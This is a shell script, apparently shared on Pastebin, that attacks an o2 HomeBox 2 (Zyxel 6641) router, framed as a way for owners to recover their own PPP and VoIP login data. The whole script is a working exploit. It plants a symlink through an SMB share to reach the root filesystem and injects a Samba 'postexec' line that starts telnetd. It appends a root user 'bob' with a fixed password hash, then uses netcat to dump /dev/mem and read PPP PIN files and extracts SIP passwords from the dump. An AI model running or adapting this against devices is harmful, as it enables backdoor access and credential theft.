Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/sh
- # Copyleft by qwertz12
- # version 0.0000000.01eleven, 20150105
- # license: GPLv2 or later
- # ToDo:
- # - parameter for $BOX
- # o parameter for $PHONENUMS
- # - parameter for $SMBUSER and $SMBPASS (mount.cifs)
- # - parameter for $TELNETPORT
- # o parameter for $REGISTRAR
- # - check registrar against hostname regex
- # - remove postexec after telnet is running???
- # + print out the login data nicely
- # + get PPP connection and print out nicely
- # + check phone number format: [1-9][1-9][1-9][0-9][0-9][0-9][0-9]
- # basic script security
- PATH=/sbin:/bin:/usr/sbin:/usr/bin
- ### user configurable values
- BOX=''
- PHONENUMS=''
- REGISTRAR=''
- DRIVENUM=''
- TELNETPORT=23000
- SMBUSER=''
- SMBPASS=''
- # default values, no need to configure
- SMBDIR=$(mktemp -d 2>/dev/null)
- TMPDIR=$(mktemp -d 2>/dev/null)
- SMBSHARE=''
- SMBLINK='' # $RANDOM is undefined here, if not bash. do this later
- MEMDUMP='' # $RANDMON is undefined here, if not bash, do this later
- PPPUSER='' # PPP User, format [[:alnum:]]*-CC5D4E@.*\.de
- PPPPASS='' # PIN
- # default values: fallback for user configurable variables
- DEF_BOX='o2.box'
- DEF_REGISTRAR="sip.alice-voip.de"
- DEF_SIPPROXY="sip.alice-voip.de"
- DEF_SMBUSER="root"
- DEF_SMBPASS="dummy"
- DEF_DRIVENUM=1
- ### function definitions
- usage()
- {
- cat 1>&2 <<-EOF
- Usage: $(basename "$0") [host]
- This script tries to help you "own" yout o2 HomeBox 2 (Zyxel 6641)
- For certain parts of the script, root privileges are needed.
- Please use sudo or run in a root shell!
- EOF
- }
- cleanexit()
- {
- local ERRCODE=0
- echo 'WRN: Break signalled or aborting script, trying to clean up - this may fail!' 1>&2
- if [ ! -z "$TMPDIR" ] && [ ! -z "$MEMDUMP" ]; then
- rm "$TMPDIR/$MEMDUMP" "$TMPDIR/$MEMDUMP.PIN" "$TMPDIR/$MEMDUMP.PPPuser"
- rmdir "$TMPDIR"
- rmdir "$SMBDIR"
- fi
- # the umount is essential: without it, the second script run fails!
- [ -z "$SMBDIR" ] || umount "$SMBDIR"
- ERRCODE=$1
- echo 'Current smb/cifs mounts are:' 1>&2
- mount | egrep -i 'cifs|smb' 1>&2
- echo 'Exiting!' 1>&2
- [ $ERRCODE -eq 0 ] || exit $1
- exit 250
- }
- # output SUCCESS or FAILURE and exit with exitcode if non-zero (parameter 1) and message (parameter 2)
- # previous return code get passed through the function, so no if then else needed ;)
- sucfailmsg()
- {
- local ERR=$? # must be the first statement
- local RET="$1"
- shift 1
- local MSG="$*"
- if [ $ERR -eq 0 ]; then
- echo ' SUCCESS'
- return $ERR
- else
- echo ' FAILURE'
- [ -z "$MSG" ] || echo "$MSG" 1>&2
- [ "$RET" -eq 0 ] || cleanexit $RET
- fi
- return $ERR
- }
- # Get the password from a memory dump file
- # This requires a Registrar / Domain and a SIP-proxy.
- # Proxy may be omitted, Registrar is used instead.
- # Parameters >1 may be regular expressions for sed.
- # @param $1 Memory dump
- # @param $2 Phone number
- # @param $3 Registrar
- # @param $4 SIP-proxy
- # @return string Result: "Password<space>Proxy"
- get_sip_password_proxy()
- {
- dbg "starting get_sip_password_proxy($*)"
- if [ $# -lt 3 ] || [ $# -gt 4 ]; then
- return 1
- fi
- local MDUMP=$1
- local PHONENUM=$2
- local REGISTRAR=$3
- local SIPPROXY=$4
- [ -f "$MDUMP" ] || return 2
- [ ! -z "$PHONENUM" ] && [ ! -z "$REGISTRAR" ] || return 3
- [ ! -z "$SIPPROXY" ] || SIPPROXY=$REGISTRAR
- tr -cd '\11\12\15\40-\176' <"$MDUMP" |\
- sed -n -e "s/^.*$PHONENUM$PHONENUM\([[:alnum:]]\{10,33\}\)$REGISTRAR\($SIPPROXY\).*$/\1 \2/p" | head -1
- }
- # print something to stderr on debugging
- dbg()
- {
- [ -z $DEBUG ] || echo "DBG: $*" 1>&2
- }
- # /bin/sh does not have $RANDOM
- random16()
- {
- hexdump -n 2 -e '/2 "%u\n"' /dev/urandom
- }
- ### configuration - apply defaults or user values
- SMBLINK="0_link_to_r00t_$(random16)" # use our own random function
- MEMDUMP="6441-own_memdump-$(random16).bin" # use our own random function
- # check for root permissions
- if [ $(id -u) -ne 0 ]; then
- cat 1>&2 <<-EOF
- Error: You are not root. This script needs root permissions for mounting etc.
- Please run in a root shell or use "sudo".
- EOF
- usage
- exit 3
- fi
- # try to set to first parameter
- BOX=$1
- if [ -z "$BOX" ]; then
- cat <<-EOF
- Please enter the IP address or hostname of your HomeBox 2 (Zyxel 6641)
- or just press enter to use the default value
- EOF
- echo -n "Host [$DEF_BOX]: "
- read BOX
- fi
- if [ -z "$REGISTRAR" ]; then
- cat <<-EOF
- Please enter the registrar of your VoIP connection
- or just press enter to use the default value
- EOF
- echo -n "Registrar [$DEF_REGISTRAR]: "
- read REGISTRAR
- fi
- if [ -z "$SIPPROXY" ]; then
- cat <<-EOF
- Please enter the sip-proxy of your VoIP connection
- or just press enter to use the default value
- EOF
- echo -n "SIP-proxy [$DEF_SIPPROXY]: "
- read SIPPROXY
- fi
- if [ -z "$PHONENUMS" ]; then
- cat <<-EOF
- Please enter the phone numbers to search for.
- Seperate numbers with space and use the format
- CCPPPPPPPNNNN
- or
- 0PPPPPPPNNNN
- (CC=Country-Code, PPPPP=Prefix, NNNN=Number)
- For example: 498005900050 498005251378 08005900050 08005251378
- If you are not sure which format is correct for your account,
- simply specify both formats for your phone numbers!
- EOF
- echo -n 'Phone numbers: '
- read PHONENUMS
- fi
- # apply defaults, if still needed
- [ ! -z "$BOX" ] || BOX="$DEF_BOX"
- [ ! -z "$REGISTRAR" ] || REGISTRAR="$DEF_REGISTRAR"
- [ ! -z "$SIPPROXY" ] || REGISTRAR="$DEF_SIPPROXY"
- [ ! -z "$DRIVENUM" ] || DRIVENUM="$DEF_DRIVENUM"
- [ ! -z "$SMBUSER" ] || SMBUSER="$DEF_SMBUSER"
- [ ! -z "$SMBPASS" ] || SMBPASS="$DEF_SMBPASS"
- if [ ! -z "$DEBUG" ]; then
- cat 1>&2 <<-EOF
- DEBUG: Script configuration
- BOX=$BOX
- REGISTRAR=$REGISTRAR
- SIPPROXY=$SIPPROXY
- SMBUSER=$SMBUSER
- SMBPASS=$SMBPASS
- PHONENUMS=$PHONENUMS
- EOF
- echo 'Current smb/cifs mounts are:'
- mount | egrep -i 'cifs|smb'
- fi
- ### sanity checks
- for PHONENUM in $PHONENUMS; do
- [ "$PHONENUM" != "${PHONENUM#0[1-9][0-9][0-9][0-9][0-9]}" ] && dbg "Phone with local prefix: $PHONENUM"
- [ "$PHONENUM" != "${PHONENUM#[1-9][1-9][1-9][0-9][0-9][0-9][0-9]}" ] && dbg "Phone with country code: $PHONENUM"
- if [ "$PHONENUM" != "${PHONENUM#[1-9][1-9][1-9][0-9][0-9][0-9][0-9]}" ] &&
- [ "$PHONENUM" != "${PHONENUM#0[1-9][0-9][0-9][0-9][0-9]}" ] ; then
- echo "Warning: Phone number $PHONENUM does not conform to expected format, removing!" 1>&2
- # this has some ugly side effects if numbers contain each other
- HEAD=${PHONENUMS%%$PHONENUM*}
- TAIL=${PHONENUMS##*$PHONENUM}
- PHONENUMS="$HEAD $TAIL"
- fi
- done
- PHONENUMS=${PHONENUMS# }
- PHONENUMS=${PHONENUMS% }
- if [ -z "$PHONENUMS" ]; then
- echo "No phone numbers to look for!" 1>&2
- exit 1
- fi
- dbg "After cleanup: PHONENUMS=$PHONENUMS"
- # no mktemp
- if [ -z "$SMBDIR" ]; then
- MYRAND=$(random16)
- SMBDIR="/tmp/fallback.$MYRAND"
- mkdir "$SMBDIR"
- fi
- if [ -z "$TMPDIR" ]; then
- MYRAND=$(random16)
- TMPDIR="/tmp/fallback.$MYRAND"
- mkdir "$TMPDIR"
- fi
- if [ ! -d "$SMBDIR" ] || [ ! -d "$TMPDIR" ]; then
- echo "Error: Could not create/access temp directories!" 1>&2
- exit 2
- fi
- dbg "Using tempdirs: SMBDIR=$SMBDIR TMPDIR)$TMPDIR"
- # we have created some files, so let's register a trap handler which cleans up after a break
- trap cleanexit INT
- if [ ! -z "$(mount | egrep -i 'cifs|smb')" ]; then
- cat 1>&2 <<-EOF
- Error: You have other active cifs/smb mounts which will cause this script to fail!
- Please unmount these first!
- Current smb/cifs mounts:
- $(mount | egrep -i 'cifs|smb')
- EOF
- exit 4
- fi
- echo -n "- trying to ping the box ($BOX)..."
- ping -q -c 3 -W 2 "$BOX" >/dev/null 2>&1
- sucfailmsg 5 "Please verify if the ip/hostname ($BOX) is correct and the box is running!"
- # prepare environment for mount.cifs
- export PASSWD=$SMBPASS
- # this is a hack. We know the box IP, but not the share name.
- # since I don't want to depend on too many external utilities (net, smbclient), we try several share names
- SMBSHARE=''
- for i in $(seq $DRIVENUM 9); do
- SMBSHARE="//$BOX/DRIVE1_$i"
- DRIVENUM=$i
- echo -n "- trying to mount the box: $SMBSHARE..."
- mount -t cifs -o rw,username=$SMBUSER "$SMBSHARE" "$SMBDIR"
- sucfailmsg 0 && break
- SMBSHARE='' # this is needed if all attempts fail
- done
- if [ -z "$SMBSHARE" ]; then
- echo 'Error: Could not determine share name, all tries to mount failed!' 1>&2
- exit 6
- fi
- # this works only with unix extensions
- # if other mounts exist without unix extensions, they will crash!
- # another side effect of this crash is, that all other mounting attempts succeed
- # but show no files, hence the message for sucfailmsg 9!
- echo -n "- trying to create symlink ($SMBLINK) to root directory..."
- ln -s / "$SMBDIR/$SMBLINK"
- sucfailmsg 7 "Could not create symlink!"
- sync
- sleep 1 # this keeps the umount from failing?
- echo -n "- trying to unmount $SMBDIR..."
- umount "$SMBDIR"
- sucfailmsg 8 "Could not unmount!"
- echo -n "- trying to mount the box a second time for exploit preparation..."
- mount -t cifs -o rw,nounix,username=$SMBUSER "$SMBSHARE" "$SMBDIR"
- sucfailmsg 9 "Could not mount!"
- sleep 1
- # box is now mounted, activate postexec hack
- echo -n '- trying to append "postexec" code...'
- echo "postexec = /usr/sbin/telnetd -p $TELNETPORT" | \
- tee -a "$SMBDIR/$SMBLINK/var/etc/smb/smb-shares.conf" >/dev/null
- sucfailmsg 10 "Could not append to file! Please check if the box isn't mounted twice!"
- echo -n '- trying to create a user called "bob" with password "alice"'
- echo "bob:j6dJLMwweWCsM:0:0:Owner:/:/bin/sh" | \
- tee -a "$SMBDIR/$SMBLINK/var/passwd" >/dev/null
- sucfailmsg 10 "Could not append to file! Please check if the box isn't mounted twice!"
- sync
- echo -n "- trying to unmount $SMBDIR..."
- sleep 1 # this keeps the umount from failing?
- umount "$SMBDIR"
- sucfailmsg 11 "Could not unmount!"
- echo -n "- trying to mount the box a third time for exploit execution..."
- mount -t cifs -o rw,username=$SMBUSER "$SMBSHARE" "$SMBDIR"
- sucfailmsg 12 "Could not mount!"
- echo -n "- trying to unmount $SMBDIR..."
- sleep 1 # this keeps the umount from failing?
- umount "$SMBDIR"
- sucfailmsg 13 "Could not unmount!"
- echo -n "- checking for open port on $BOX:$TELNETPORT..."
- nc -z $BOX $TELNETPORT
- sucfailmsg 14 "Port not open or netcat error/not found!"
- echo '- dumping memory from box to usb drive'
- echo ' please be patient: this takes at least 62 seconds...'
- ( sleep 2; echo "bob"
- sleep 2; echo "alice"
- sleep 2; echo ">/var/usbMnt/Drive1_$DRIVENUM/$MEMDUMP.loginOK"
- sleep 1; echo "cat </var/ppp/PIN >/var/usbMnt/Drive1_$DRIVENUM/$MEMDUMP.PIN"
- sleep 1; echo "cat </var/ppp/UserName_VoIP >/var/usbMnt/Drive1_$DRIVENUM/$MEMDUMP.PPPuser"
- sleep 1; echo "ls -l /var/ppp/ >/var/usbMnt/Drive1_$DRIVENUM/$MEMDUMP.lsPPP"
- sleep 1; echo "for i in var/ppp/*; do echo -n \"\$i:\"; cat \$i; echo; done >>/var/usbMnt/Drive1_$DRIVENUM/$MEMDUMP.lsPPP"
- sleep 2; echo "cat </dev/mem >/var/usbMnt/Drive1_$DRIVENUM/$MEMDUMP"
- sleep 48; echo ">/var/usbMnt/Drive1_$DRIVENUM/$MEMDUMP.dumpOK"
- sleep 2; echo "exit"
- ) | nc -t $BOX $TELNETPORT >/dev/null
- echo -n "- trying to mount the box a fourth time to download the memory dump..."
- sleep 1
- mount -t cifs -o rw,username=$SMBUSER "$SMBSHARE" "$SMBDIR"
- sucfailmsg 15 "Could not mount!"
- echo -n "- trying to copy PPP username (<BOX-SERIAL>-CC5D4E@.*\.de), a failure here is OK..."
- # don't care about errors for PPP username, we'll get it later
- cp "$SMBDIR/$MEMDUMP.PPPuser" "$TMPDIR" 2>/dev/null
- sucfailmsg 0
- echo "- trying to copy PPP password (your PIN)..."
- echo -n " If this fails, extraction of PPP data will fail!"
- cp "$SMBDIR/$MEMDUMP.PIN" "$TMPDIR"
- sucfailmsg 0
- echo -n "- downloading the memory dump to $TMPDIR..."
- cp "$SMBDIR/$MEMDUMP" "$TMPDIR"
- sucfailmsg 16 "Could not copy file!"
- echo -n "- trying to unmount $SMBDIR..."
- sleep 1 # this keeps the umount from failing?
- umount "$SMBDIR"
- sucfailmsg 17 "Could not unmount!"
- # we found the PIN but not the PPP user, let's try to get it from them memdump
- [ -f "$TMPDIR/$MEMDUMP.PIN" ] && PPPPASS=$(cat <"$TMPDIR/$MEMDUMP.PIN")
- [ -f "$TMPDIR/$MEMDUMP.PPPuser" ] && PPPUSER=$(cat <"$TMPDIR/$MEMDUMP.PPPuser")
- dbg "Box: PPPUSER=$PPPUSER PPPPASS=$PPPPASS"
- if [ -z "$PPPUSER" ] && [ ! -z "$PPPPASS" ]; then
- cat <<-EOF
- - looking for PPP username in memory dump, since I dind't get it from the box
- This may fail in a lot of cases - you may have to get the data from
- o2's hotline instead!
- EOF
- PPPUSER=$(tr -c '\11\12\15\40-\176' ' ' <$TMPDIR/$MEMDUMP | tr -s ' ' |\
- grep -o -e " [[:alnum:]]*-CC5D4E@.*\.de.*$PPPPASS" |\
- cut -d ' ' -f 2 | head -1)
- fi
- dbg "MemDump: PPPUSER=$PPPUSER PPPPASS=$PPPPASS"
- echo '- looking for phone number + proxy name in memory dump...'
- FOUNDSTH=0
- PASSWORDS=''
- REGISTRARS=''
- PROXIES=''
- for PHONENUM in $PHONENUMS; do
- CUR_REGISTRAR=$REGISTRAR
- CUR_SIPPROXY=$SIPPROXY
- MATCH_PASS=''
- MATCH_PROXY=''
- # let's try this the usual way
- MATCH=$(get_sip_password_proxy "$TMPDIR/$MEMDUMP" "$PHONENUM" "$CUR_REGISTRAR" "$CUR_SIPPROXY")
- if [ -z "$MATCH" ]; then
- # let's try this with a hard coded alternative sipproxy (regex)
- CUR_SIPPROXY='registrar..\.sip\.alice-voip\.de'
- echo " - No password for $PHONENUM found, retrying with sip proxy $CUR_SIPPROXY"
- dbg "Switching to alternate sip proxy: Phone with local prefix: $PHONENUM"
- MATCH=$(get_sip_password_proxy "$TMPDIR/$MEMDUMP" "$PHONENUM" "$CUR_REGISTRAR" "$CUR_SIPPROXY")
- fi
- if [ ! -z "$MATCH" ]; then
- MATCH_PASS="${MATCH%% *}"
- MATCH_PROXY="${MATCH##* }"
- dbg "Password for $PHONENUM with proxy $MATCH_PROXY is: $MATCH_PASS"
- FOUNDSTH=1
- # this is ugly, but should work for the time being
- PASSWORDS="$PASSWORDS $MATCH_PASS"
- REGISTRARS="$REGISTRARS $CUR_REGISTRAR"
- PROXIES="$PROXIES $MATCH_PROXY"
- else
- echo " - No password for $PHONENUM found"
- PASSWORDS="$PASSWORDS NOTHING_FOUND"
- REGISTRARS="$REGISTRARS NOTHING_FOUND"
- PROXIES="$PROXIES NOTHING_FOUND"
- fi
- done
- # remove leading space
- PASSWORDS="${PASSWORDS# }"
- REGISTRARS="${REGISTRARS# }"
- PROXIES="${PROXIES# }"
- cat <<-EOF
- ~~~~~~~~~~~~~~~~ FINISHED, RESULTS FOLLOW ~~~~~~~~~~~~~~~~
- EOF
- if [ ! -z "$PPPUSER" ]; then
- cat <<-EOF
- Your PPP (internet) login data is:
- Username: $PPPUSER
- Password: $PPPPASS
- EOF
- fi
- if [ $FOUNDSTH -eq 0 ]; then
- cat <<-EOF
- Since I've found no VoIP passwords, I'm leaving the memory dump in
- $TMPDIR/$MEMDUMP
- intact for you to look into.
- Since anything unter /tmp is usually a ramdisk, this should
- not have any side effects, BUT YOU WILL LOOSE THE DATA ON REBOOT!
- EOF
- exit
- fi
- for PHONENUM in $PHONENUMS; do
- if [ "${PASSWORDS%% *}" != "NOTHING_FOUND" ]; then
- cat <<-EOF
- For phone number $PHONENUM, please use the following
- data to configure your router:
- Phone number: your telephone number without prefixes
- Username: $PHONENUM
- Password: ${PASSWORDS%% *}
- Registrar: ${REGISTRARS%% *}
- SIP-proxy: ${PROXIES%% *}
- EOF
- fi
- # remove anything till first space, including
- # this must be done for every match, even if nothing was found
- PASSWORDS="${PASSWORDS#* }"
- REGISTRARS="${REGISTRARS#* }"
- PROXIES="${PROXIES#* }"
- done
- cat <<-EOF
- Please note:
- You may have to reconfigure you FritzBox slightly.
- o2 uses rtp_priority = 26 and rtp_port >51000
- in their box.
- In case of problems with voice quality, try to edit
- /var/flash/voip.cfg
- on your FritzBox accordingly.
- EOF
- echo '- cleaning up...'
- rm "$TMPDIR/$MEMDUMP" "$TMPDIR/$MEMDUMP.PIN" "$TMPDIR/$MEMDUMP.PPPuser" 2>/dev/null
- rmdir "$TMPDIR" 2>/dev/null
- rmdir "$SMBDIR" 2>/dev/null
- cat <<-EOF
- Please note: Files on the USB-Stick of the Box are left intact!
- You may use them to further debug your results.'
- Bye!
- EOF
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement